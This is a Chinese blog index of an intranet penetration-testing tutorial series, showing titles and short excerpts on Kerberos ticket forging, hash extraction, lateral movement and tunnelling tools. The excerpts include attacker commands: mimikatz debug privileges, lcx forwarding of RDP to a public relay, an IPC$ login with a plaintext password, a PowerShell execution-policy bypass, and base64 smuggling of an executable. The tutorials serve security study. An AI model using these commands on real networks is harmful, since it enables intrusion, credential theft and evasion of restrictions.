
内网学习笔记
文章平均质量分 80
内网学习笔记
TeamsSix
我的公众号:TeamsSix
展开
-
【内网学习笔记】30、跨域安全(完结)
0、前言常见的跨域攻击方法有以下几种:i、利用常规的渗透方法,比如 Web 漏洞ii、利用已知散列值进行哈希传递或票据传递,因为有可能域内的密码是通用的iii、利用域信任关系这里主要看第三种:域信任关系当有多个域时,不同的域之间想进行资源共享,就需要用到域信任,只有当域之间互相信任后,才能进行资源共享。域信任关系可分为单向信任和双向信任。单向信任即 A 信任 B,但 B 不信任 A,双向信任同理。在创建子域时,系统会在新的子域和父域之间自动创建双向可传递信任关系。域信任关系又可分为内部信任和原创 2021-10-22 14:39:08 · 3603 阅读 · 2 评论 -
【内网学习笔记】29、白银票据
0、前言白银票据(Sliver Ticket) 不同于黄金票据(Golden Ticket)Kerberos 协议详解:https://teamssix.com/210923-151418.html白银票据不与密钥分发中心 KDC 交互,因此没有了 Kerberos 认证协议里的前 4 步,通过伪造的票据授予服务 TGS 生成伪造的服务票据 ST 直接与服务器 Server 进行交互。白银票据与黄金票据的区别:1、白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日原创 2021-10-09 15:14:55 · 2118 阅读 · 0 评论 -
【内网学习笔记】28、黄金票据
0、前言RT 在利用黄金票据(Golden Ticket)进行 PTP 票据传递时,需要先知道以下信息:伪造的域管理员用户名完整的域名域 SIDkrbtgt 的 NTLM Hash 或 AES-256 值其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身原创 2021-09-27 16:44:59 · 585 阅读 · 0 评论 -
【内网学习笔记】27、Kerberos 域用户提权漏洞
0、前言在 2014 年微软修复了 Kerberos 域用户提权漏洞,即 MS14-068,CVE 编号为 CVE-2014-6324,该漏洞影响了 Windows Server 2012 R2 以下的服务器,该漏洞允许 RT 将任意用户权限提升至域管级别。不过从漏洞年代就知道这已经是个远古时代的漏洞,现实中已经很少会碰到了,这里就简单记录下,顺便熟悉熟悉工具的用法。14-068 产生的原因主要在于用户可以利用伪造的票据向认证服务器发起请求,如果用户伪造域管的票据,服务端就会把拥有域管权限的服务票据返原创 2021-09-24 10:28:06 · 1880 阅读 · 0 评论 -
【内网学习笔记】26、ntds.dit 的提取与散列值导出
0、前言在活动目录中,所有数据都保存在 ntds.dit 文件中,ntds.dit 是一个二进制文件,存储位置为域控的 %SystemRoot%\ntds.ditntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU 等与活动目录相关的信息,因此如果我们拿到 ntds.dit 就能获取到域内所有用户的 hash在通常情况下,即使拥有管理员权限,也无法读取域控中的 ntds.dit 文件(因为活动目录始终访问这个文件,所以文件被禁止读取),它和 SAM 文件一样,是被 Windows 操作原创 2021-09-09 22:35:00 · 1475 阅读 · 0 评论 -
【内网学习笔记】25、Exchange 邮件服务器
1、Exchange 的基本操作在 Exchange 服务器上的 PowerShell 里进行以下操作将 Exchange 管理单元添加到当前会话中add-pssnapin microsoft.exchange*查看邮件数据库Get-MailboxDatabase -server "dc"查询数据库的物理路径Get-MailboxDatabase -Identity 'Mailbox Database 0761701514' | Format-List Name,EdbFilePath原创 2021-09-08 11:08:10 · 2851 阅读 · 0 评论 -
【内网学习笔记】24、SPN 的应用
0、前言SPNWindows 域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组和集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境中运行的大量应用包含了多种资源,为了对资源的合理分类和再分配提供便利,微软给域内的每种资源分配了不同的服务主题名称即 SPN (Service Principal Name)KerberosKerberos 是由 MIT 提出的一种网络身份验证协议,旨在通过原创 2021-09-07 16:00:27 · 1317 阅读 · 3 评论 -
【内网学习笔记】23、SMBExec 与 DCOM 的使用
1、SMBExec利用 SMBExec 可以通过文件共享(admin$、c$、ipc$、d$)在远程系统中执行命令,它的工作方式类似于 PsExecC++ 版C++ 版项目地址:https://github.com/sunorr/smbexec一看这个项目是 8 年前上传的了,然后试了用 VS2019 没编译成功,而且目前各大杀软也都查杀这个工具了,所以这个就不看了,直接看 impacket 里的同类工具。impacket 版在 impacket 工具包里包含了 smbexec.py 工具,使用原创 2021-09-04 12:05:33 · 1547 阅读 · 0 评论 -
【内网学习笔记】22、PsExec 和 WMI 的使用
1、PsExecPsExec.exePsExec 在之前的文章里提到过一次,参见https://teamssix.com/210802-181052.html,今天来着重学习一下。PsExec 是 PSTools 工具包里的一部分,其下载地址为:https://download.sysinternals.com/files/PSTools.zip利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为 PSEXESV原创 2021-09-02 14:39:23 · 794 阅读 · 0 评论 -
【内网学习笔记】21、哈希传递与票据传递
1、哈希传递哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,因此此时往往会使用工具将哈希值传递到其他计算机中进行登录验证。NTLM Hash在目标主机上使用 mimikatz 获取 NTLM Hashprivilege::debugse原创 2021-09-01 16:23:36 · 2440 阅读 · 0 评论 -
【内网学习笔记】20、Hashcat 的使用
1、介绍Hashcat 是一款用于破解密码的工具,据说是世界上最快最高级的密码破解工具,支持 LM 哈希、MD5、SHA 等系列的密码破解,同时也支持 Linux、Mac、Windows 平台。工具地址:https://hashcat.net项目地址:https://github.com/hashcat/hashcat2、安装MacMac 用户直接使用 brew 安装即可brew install hashcatLinux对于 Debain 的 Linux,比如 Kali、Ubuntu 可原创 2021-08-31 13:38:46 · 9210 阅读 · 1 评论 -
【内网学习笔记】1、内网中常见名词解释
1、工作组工作组 Work Group 是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。比如在一个网络内,可能有成百上千台工作电脑,如果这些电脑不进行分组,都列在“网上邻居”内,可想而知会有多么乱。为了解决这一问题,Windows 9x/NT/2000 引用了“工作组”这个概念,比如一所高校,会分为诸如数学系、中文系之类的,然后数学系的电脑全都列入数学系的工作组中,中文系的电脑全部都列入到中文系的工作组中……如果你要访问某个系别的资源,就在“网上邻居”里找到那原创 2021-02-03 17:40:38 · 835 阅读 · 1 评论 -
【内网学习笔记】2、PowerShell
1、介绍PowerShell 可以简单的理解为 cmd 的高级版,cmd 能做的事在 PowerShell 中都能做,但 PowerShell 还能做很多 cmd 不能做的事情。PowerShell 内置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系统中,同时 PowerShell 是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。PowerShell 有如下特点:Windows 7 以上的操作系统默认安装PowerShel原创 2021-02-06 19:25:32 · 1249 阅读 · 0 评论 -
【内网学习笔记】3、本地工作组信息收集
1、手动收集本地工作组信息查看当前权限whoami 本机网络配置信息ipconfig /all操作系统和版本信息(英文版)systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 操作系统和版本信息(中文版)systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"查看系统体系结构echo %PROCESSOR_ARCHITECTURE%查看系统所有环境变量set查原创 2021-02-11 16:46:46 · 674 阅读 · 0 评论 -
【内网学习笔记】4、域内信息收集
1、判断是否存在域ipconfig查看网关 IP 地址、DNS 的 IP 地址、域名、本机是否和 DNS 服务器处于同一网段。ipconfig /allC:\Users\daniel10> ipconfig /allWindows IP 配置 主 DNS 后缀 . . . . . . . . . . : teamssix.com DNS 后缀搜索列表 . . . . . . . . : teamssix.com以太网适配器 Ethernet0: IPv4 地址原创 2021-02-24 12:55:25 · 1080 阅读 · 0 评论 -
【内网学习笔记】5、BloodHound 的使用
1、介绍BloodHound 使用可视化图形显示域环境中的关系,攻击者可以使用 BloodHound 识别高度复杂的攻击路径,防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入域环境中的权限关系。BloodHound 通过在域内导出相关信息,在将数据收集后,将其导入Neo4j 数据库中,进行展示分析。因此在安装 BloodHound 时,需要安装 Neo4j 数据库。2、安装因为 Neo4j 数据库需要 Java 支持,因此安装原创 2021-02-26 18:15:20 · 2450 阅读 · 0 评论 -
【内网学习笔记】6、ICMP隧道工具使用
1、介绍在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道,ICMP 协议最常见的场景就是使用 ping 命令,而且一般防火墙都不会禁止 ping 数据包。因此我们便可以将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而绕过防火墙的限制。2、建立 ICMP 隧道工具用于建立 ICMP 隧道的工具常见有:ptunnel、icmpsh、icmptunnel 等ptunnelptunnel 全称 PingTunnel,Kali原创 2021-04-07 19:33:43 · 807 阅读 · 0 评论 -
【内网学习笔记】7、lcx、netcat和socat的使用
1、lcx 使用lcx 分为 Windows 版和 Linux 版,Linux 版叫 portmapWindows内网端口转发内网失陷主机lcx.exe -slave rhost rport lhost lport公网代理主机lcx.exe -listen lport1 lport2内网失陷主机lcx.exe -slave 123.123.123.123 4444 127.0.0.1 3389公网代理主机lcx.exe -listen 4444 5555在建立连接后,访问原创 2021-05-28 13:24:55 · 811 阅读 · 0 评论 -
【内网学习笔记】8、powercat 的使用
1、下载安装 powercatpowercat 可以视为 nc 的 powershell 版本,因此也可以和 nc 进行连接。powercat 可在 github 进行下载,项目地址为:https://github.com/besimorhino/powercat下载下来 powercat.ps1 文件后,直接导入即可 Import-Module .\powercat.ps1如果提示未能加载指定模块,则可能是权限问题,可以参照之前写的 【内网学习笔记】2、PowerShell 文章中的方法对其赋原创 2021-06-01 16:05:42 · 598 阅读 · 1 评论 -
【内网学习笔记】9、iodine 使用
1、介绍iodine 这个名字起的很有意思,iodine 翻译过来就是碘,碘的原子序数为 53,53 也就是 DNS 服务对应的端口号。iodine 和 dnscat2 一样,适合于其他请求方式被限制以至于只能发送 DNS 请求的环境中,iodine 同样也是分成了直接转发和中继两种模式。iodine 与 dnscat2 不同的在于 Iodine 服务端和客户端都是用 C 语言开发,同时 iodine 的原理也有些不同,iodine 通过 TAP 在服务端和客户端分别建立一个局域网和虚拟网卡,再通过原创 2021-06-08 22:07:27 · 570 阅读 · 2 评论 -
【内网学习笔记】10、ew 的使用
1、Socks 代理工具介绍Socks 代理可以理解成升级版的 lcx,关于 lcx 的用法可以看我之前的文章:https://teamssix.com/year/210528-130449.html但是 lcx 毕竟年代久远,现在的杀软基本也都能识别到了,因此在实战中不太推荐使用 lcx ,更推荐使用这些 socks 代理工具。常见的 socks 代理工具有 ew、termite、frp、nps、sSocks、reGeorg、Neo-reGeorg、SocksCap、Proxifier、Proxy原创 2021-06-10 19:56:26 · 6523 阅读 · 0 评论 -
【内网学习笔记】11、frp 的使用
1、介绍相较于前一篇文章介绍的 ew 的年代久远,frp 就好的多了,基本上隔几天就会发布新的版本,最新的一版更新还就在几天前。在实战中,大家较多使用的也是 frp,frp 项目地址:https://github.com/fatedier/frp至于下载安装直接在项目的 releases 里下载自己对应的系统版本就行。2、使用官方使用文档:https://gofrp.org/docs/frp 分成服务端和客户端,分别叫 frps 和 frpc,配置文件分别对应 frps.ini 和 frpc.i原创 2021-06-11 17:36:51 · 510 阅读 · 3 评论 -
【内网学习笔记】12、nps 的使用
1、介绍nps 项目地址:https://github.com/ehang-io/nps也是一款还在更新的内网穿透工具,相较于 frp,nps 的 web 管理就要强大很多了。nps 和 frp 一样功能都很多,这里就主要记录下平时经常用到的 SOCKS5 代理模式。2、安装nps 不同于 frp 的开箱即用,nps 的服务端需要安装才能使用,这里以 kali 下的安装为例。在 nps 项目的 releases 中下载好自己对应系统的版本后,解压安装tar -zxvf linux_amd64_原创 2021-06-12 21:48:44 · 1108 阅读 · 0 评论 -
【内网学习笔记】13、内网中绕过无法上传文件限制
1、前言有次发现这样的一个情况,目标云桌面不出网且不允许上传文件但是可以复制文本,于是便想着通过 PowerShell 将 exe 程序编码成 base64 文本,将编码后的内容复制到目标主机后,再进行解码,这里记录下方法。2、PowerShell使用 PowerShell 进行 base64 编码$PEBytes = [System.IO.File]::ReadAllBytes("fscan.exe")$Base64Payload = [System.Convert]::ToBase64Stri原创 2021-07-01 21:34:33 · 822 阅读 · 0 评论 -
【内网学习笔记】14、发现主机缺失补丁
0、前言在内网中,往往所有主机打补丁的情况都是相似的,因此在拿下一台主机权限后,可以通过查看当前主机打补丁的情况,从而找到漏洞利用点,进而进行接下来的横向、提权等操作。1、手工发现缺失补丁systeminfo直接运行 systeminfo 命令,在「修补程序」(英文:Hotfix(s) )处可以看到已安装的补丁。C:\Users\teamssix> systeminfo……内容过多,此处省略……修补程序: 安装了 2 个修补程序。 [01]: KB2999226原创 2021-07-06 16:14:05 · 995 阅读 · 2 评论 -
【内网学习笔记】15、系统服务权限配置不当利用
PowerUpPowerUp 可以用来寻找目标中权限配置不当的服务,下载地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1在 PowerShell 中导入并执行脚本Import-Module .\PowerUp.ps1Invoke-AllChecks如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用以下命令绕过。powershell.exe -exec bypa原创 2021-07-22 18:01:24 · 389 阅读 · 2 评论 -
【内网学习笔记】16、组策略凭据获取
0、前言SYSVOL 是活动目录里的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控之间进行复制,SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录域范围内共享,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies\ 目录中。管理员在域中新建一个组策略后,系统会自动在 SYSVOL 目录中生成一个 XML 文件。该文件中保存了该组策略更新后的密码,该密码使用 AES-256 算法,但 2012 年微软公布了该密码的私钥,也就是说原创 2021-07-28 15:16:14 · 524 阅读 · 0 评论 -
【内网学习笔记】17、令牌窃取
0、前言令牌(Token)是指系统中的临时秘钥,相当于账户和密码,有了令牌就可以在不知道密码的情况下访问目标相关资源了,这些令牌将持续存在于系统中,除非系统重新启动。1、MSF在获取到 Meterpreter Shell 后,使用以下命令获取令牌load incognitolist_tokens -u这里有两种令牌,一个是 Delegation Tokens 即授权令牌,还有一种是 Impersonation Tokens 即模拟令牌。前者支持交互式登录比如远程桌面,后者支持非交互的会话。原创 2021-07-29 11:25:58 · 529 阅读 · 2 评论 -
【内网学习笔记】18、LLMNR 和 NetBIOS 欺骗攻击
0、前言如果已经进入目标网络,但是没有获得凭证,可以使用 LLMNR 和 NetBIOS 欺骗攻击对目标进行无凭证条件下的权限获取。1、基本概念LLMNR本地链路多播名称解析(LLMNR)是一种域名系统数据包格式,当局域网中的 DNS 服务器不可用时,DNS 客户端就会使用 LLMNR 解析本地网段中机器的名称,直到 DNS 服务器恢复正常为止。从 Windows Vista 开始支持 LLMNR ,Linux 系统也通过 systemd 实现了此协议,同时 LLMNR 也支持 IPv6。Net原创 2021-07-30 16:09:34 · 1124 阅读 · 0 评论 -
【内网学习笔记】19、IPC 与计划任务
0、前言在多层代理的环境中,由于网络限制,通常采用命令行的方式连接主机,这里学习下 IPC 建立会话与配置计划任务的相关点。1、IPCIPC (Internet Process Connection) 是为了实现进程间通信而开放的命名管道,当目标开启了 IPC$ 文件共享并得到用户账号密码后,就可以使用 IPC 建立连接,获取权限。建立 IPC 连接:net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator输入 net use 可以原创 2021-08-03 16:26:21 · 372 阅读 · 0 评论